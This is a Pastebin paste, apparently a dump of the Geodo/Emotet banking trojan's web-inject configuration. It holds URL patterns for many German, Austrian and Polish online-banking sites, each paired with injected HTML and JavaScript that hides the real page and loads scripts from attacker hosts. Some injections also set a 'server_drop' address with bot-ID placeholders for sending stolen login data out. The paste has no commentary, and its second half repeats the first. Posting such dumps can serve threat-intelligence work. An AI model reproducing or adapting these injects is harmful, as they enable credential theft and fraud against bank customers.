Advertisement
Matthewm

Geodo/Emotet config stuff

May 19th, 2015
1,474
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.51 KB | None | 0 0
  1. Geodo/Emotet config stuff
  2. *commerzbank.de*
  3. </body>
  4. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0001"></script>
  5. </html>
  6. <body >
  7. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  8. <head>
  9. 5<META http-equiv="X-UA-COMPATIBLE" content="IE=edge">
  10. background="
  11. " background_="
  12. *ptlweb/webportal*
  13. </html>
  14. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0002"></script>
  15. <body
  16. style=display:none;
  17. {} //
  18. top.location = self.location;
  19. *finanzportal.fiducia.de*
  20. </html>
  21. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0003"></script>
  22. </head>
  23. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  24. *banking.gecapital.de*
  25. </html>
  26. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0004"></script>
  27. </head>
  28. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  29. *banking.bank1saar.de*
  30. </html>
  31. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0005"></script>
  32. </head>
  33. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  34. *banking.flessabank.de*
  35. </html>
  36. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0006"></script>
  37. </head>
  38. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  39. *.de/portal/portal*
  40. </html>
  41. <script type=text/javascript language=JavaScript>try{var nwin_=true;$(window).load(function(){var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&r=0.00088";document.body.appendChild(el);});}catch(e){setTimeout('var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&&r=0.00088";document.body.appendChild(el);',1500);}</script>
  42. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  43. <body
  44. *.de*abmelden*
  45. </html>
  46. <script type=text/javascript language=JavaScript>try{var nwin_=true;$(window).load(function(){var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&r=0.00088";document.body.appendChild(el);});}catch(e){setTimeout('var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&&r=0.00088";document.body.appendChild(el);',1500);}</script>
  47. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  48. <body
  49. *banking.sparda.de*
  50. </html>
  51. <script type=text/javascript language=JavaScript>try{var nwin_=true;$(window).load(function(){var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&r=0.00088";document.body.appendChild(el);});}catch(e){setTimeout('var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&&r=0.00088";document.body.appendChild(el);',1500);}</script>
  52. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  53. <div id="globalep"
  54. &%*banking.sparda.de/wps/loggedout.jsp*
  55. </body>
  56. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0010"></script>
  57. </html>
  58. *kunde.comdirect.de*
  59. </body>
  60. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0011"></script>
  61. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  62. <head>
  63. *www.comdirect.de/lp/wt/login*
  64. </body>
  65. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0012"></script>
  66. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  67. <head>
  68. *banking.berliner-bank.de/trxm*
  69. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0014"></script>
  70. </body>
  71. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  72. <body
  73. *)*netbanking.sparkasse.at/sportal/sportal*
  74. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1001"></script>
  75. </html>
  76. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  77. <head>
  78. .js?r=0.093
  79. .js'></script>
  80. .js?r=0.093
  81. .js"></script>
  82. *)*netbanking.sparkasse.at/casserver/login*
  83. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1002"></script>
  84. </html>
  85. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  86. <head>
  87. .js?r=0.093
  88. .js'></script>
  89. .js?r=0.093
  90. .js"></script>p
  91. ,+*netbanking.sparkasse.at/sportal/nbcontent*
  92. eval((
  93. 30));var fsdf3; function eval2(ss){fsdf3=ss};eval2((
  94. $#*netbanking.sparkasse.at/casserver*
  95. eval((
  96. 30));var fsdf3; function eval2(ss){fsdf3=ss};eval2((
  97. ('*ebanking.bawagpsk.com/internetbanking*
  98. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1006"></script>
  99. </html>
  100. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  101. <head>'
  102. function zxc(){
  103. (function(){eval((
  104. ,1000);})();
  105. .js
  106. ?r=0.093
  107. *raiffeisen*.at/logincenter*
  108. </body>
  109. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1003"></script>
  110. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  111. <body
  112. *raiffeisen*.at/group/private*
  113. </body>
  114. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1004"></script>
  115. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  116. <body
  117. *raiffeisen*.at/group/club*
  118. </body>
  119. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1005"></script>
  120. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  121. <body
  122. *commerzbank.de*
  123. </body>
  124. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0001"></script>
  125. </html>
  126. <body >
  127. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  128. <head>
  129. 5<META http-equiv="X-UA-COMPATIBLE" content="IE=edge">
  130. background="
  131. " background_="
  132. *ptlweb/webportal*
  133. </html>
  134. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0002"></script>
  135. <body
  136. style=display:none;
  137. {} //
  138. top.location = self.location;
  139. *finanzportal.fiducia.de*
  140. </html>
  141. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0003"></script>
  142. </head>
  143. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  144. *banking.gecapital.de*
  145. </html>
  146. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0004"></script>
  147. </head>
  148. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  149. *banking.bank1saar.de*
  150. </html>
  151. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0005"></script>
  152. </head>
  153. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  154. *banking.flessabank.de*
  155. </html>
  156. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0006"></script>
  157. </head>
  158. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  159. *.de/portal/portal*
  160. </html>
  161. <script type=text/javascript language=JavaScript>try{var nwin_=true;$(window).load(function(){var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&r=0.00088";document.body.appendChild(el);});}catch(e){setTimeout('var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&&r=0.00088";document.body.appendChild(el);',1500);}</script>
  162. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  163. <body
  164. *.de*abmelden*
  165. </html>
  166. <script type=text/javascript language=JavaScript>try{var nwin_=true;$(window).load(function(){var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&r=0.00088";document.body.appendChild(el);});}catch(e){setTimeout('var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&&r=0.00088";document.body.appendChild(el);',1500);}</script>
  167. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  168. <body
  169. *banking.sparda.de*
  170. </html>
  171. <script type=text/javascript language=JavaScript>try{var nwin_=true;$(window).load(function(){var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&r=0.00088";document.body.appendChild(el);});}catch(e){setTimeout('var el=document.createElement("script");el.type="text/javascript";el.src="https://nerfakifg.me/print?lnk=a1&&r=0.00088";document.body.appendChild(el);',1500);}</script>
  172. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  173. <div id="globalep"
  174. &%*banking.sparda.de/wps/loggedout.jsp*
  175. </body>
  176. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0010"></script>
  177. </html>
  178. *kunde.comdirect.de*
  179. </body>
  180. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0011"></script>
  181. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  182. <head>
  183. *www.comdirect.de/lp/wt/login*
  184. </body>
  185. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0012"></script>
  186. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  187. <head>
  188. *banking.berliner-bank.de/trxm*
  189. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.0014"></script>
  190. </body>
  191. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  192. <body
  193. *)*netbanking.sparkasse.at/sportal/sportal*
  194. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1001"></script>
  195. </html>
  196. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  197. <head>
  198. .js?r=0.093
  199. .js'></script>
  200. .js?r=0.093
  201. .js"></script>
  202. *)*netbanking.sparkasse.at/casserver/login*
  203. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1002"></script>
  204. </html>
  205. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  206. <head>
  207. .js?r=0.093
  208. .js'></script>
  209. .js?r=0.093
  210. .js"></script>p
  211. ,+*netbanking.sparkasse.at/sportal/nbcontent*
  212. eval((
  213. 30));var fsdf3; function eval2(ss){fsdf3=ss};eval2((
  214. $#*netbanking.sparkasse.at/casserver*
  215. eval((
  216. 30));var fsdf3; function eval2(ss){fsdf3=ss};eval2((
  217. ('*ebanking.bawagpsk.com/internetbanking*
  218. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1006"></script>
  219. </html>
  220. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  221. <head>'
  222. function zxc(){
  223. (function(){eval((
  224. ,1000);})();
  225. .js
  226. ?r=0.093
  227. *raiffeisen*.at/logincenter*
  228. </body>
  229. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1003"></script>
  230. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  231. <body
  232. *raiffeisen*.at/group/private*
  233. </body>
  234. o<script type="text/javascript" language="JavaScript" src="https://nerfakifg.me/print?lnk=a1&r=0.1004"></script>
  235. {<div id=mjf230 style=left:0px;top:0px;width:100%;height:100%;background-color:White;position:absolute;z-index:91001;></div>
  236. <body
  237. *raiffeisen*.at/group/club*
  238. </body>set_url *aliorbank.pl/hades/*
  239. data_before
  240. <div id="content">*<div class="box type1" style="*>*<div class="box type1" style="
  241. display:none;
  242. ! *aliorbank.pl/hades/*/banklogin*
  243. /<td class="strong">identyfikator</td>*<tr*</tr>
  244. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/alior/jquery.min.js"></script>
  245. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/alior/stor_api_jq_min.js"></script>
  246. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/alior/alior_login.js"></script>
  247. )<td class="strong">identyfikator</td>*<tr
  248. style='display:none;'
  249. new xmlhttprequest();
  250. +new xmlhttprequest();*new xmlhttprequest();
  251. new xmlhttprequest;
  252. var bigg =[];
  253. </script>*
  254. var bigg =[];*var bigg =[];
  255. </script>
  256. var digg =[];
  257. </script>*
  258. var digg =[];*var digg =[];
  259. </script>.
  260. 'new xmlhttprequest;*new xmlhttprequest;
  261. </embed></p>
  262. <script>
  263. </script>0
  264. </embed></p>*</embed></p>
  265. <script>
  266. </script>
  267. *aliorbank.pl/retail/index.do*
  268. </body>
  269. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/alior/jquery.min.js"></script>
  270. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/alior/stor_api_jq_min.js"></script>
  271. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/alior/alior.php"></script>
  272. <script>
  273. var bot_id="%BOTID%";
  274. var server_drop = "https://yopowre.biz/stone/in/";
  275. </script>
  276. <div id="tabsarea"
  277. style="display:none;"
  278. <div id="subtabsarea"
  279. style="display:none;"
  280. <div id='content'
  281. style="display:none;"
  282. *citibankonline.pl*
  283. <script>*</head>
  284. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/citi/jquery.min.js"></script>
  285. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/citi/stor_api_jq_min.js"></script>
  286. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/citi/citi.php"></script>
  287. <script>
  288. var bot_id="%BOTID%";
  289. var server_drop = "https://yopowre.biz/stone/in/";
  290. </script>
  291. 3webrefreshwelcomemsg*<div id="webrefreshportalbody"
  292. style="display:none;"
  293. 8webrefreshwelcomemsg*<div id="webrefreshportalsubheader"
  294. style="display:none;"
  295. 3webrefreshwelcomemsg*<div id="webrefreshappbodynav"
  296. style="display:none;"
  297. >webrefreshwelcomemsg*<div id="webrefreshheaderbodyrightbottom"
  298. style="display:none;"
  299. 3<div id="webrefreshimgsignon">*</div>*</div>*</div>
  300. <div id="step_wait" style="text-align:center; display:block;" align=center>
  301. <img src="https://www.google.com/images/loading.gif" style="padding-top:30px;">
  302. </div>
  303. *online.mbank.pl*
  304. .<meta charset*<body*(document).ready*</script>
  305. <script type="text/javascript">
  306. var bot_id="%BOTID%";
  307. var server_drop = "https://yopowre.biz/stone/in/";
  308. </script>
  309. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/mbank/stor_api.js"></script>
  310. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/mbank/mbank_new_add.php"></script>
  311. <nav id="main-nav"
  312. style="display:none;"
  313. <div id="main"*<div id="content"
  314. style="display:none;"
  315. *www.ipko.pl/nowe*
  316. <head>
  317. <script type="text/javascript">
  318. var dkriffdfsf777 ="https://yopowre.biz/stone/in/";
  319. </script>
  320. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/ipko/jq_my.js"></script>
  321. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/ipko/stor_api_jdom.js"></script>
  322. <script type="text/javascript" src="https://yopowre.biz/stone/in/exp/ipko/ipko_new_add.php"></script>
  323. *www.ipko.pl*
  324. &id="client_id"*id="password"*</script>
  325. <script type="text/javascript">
  326. if (document.getElementById('client_id')&&document.getElementById('password')) top.location.href = "https://www.ipko.pl/nowe/";
  327. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement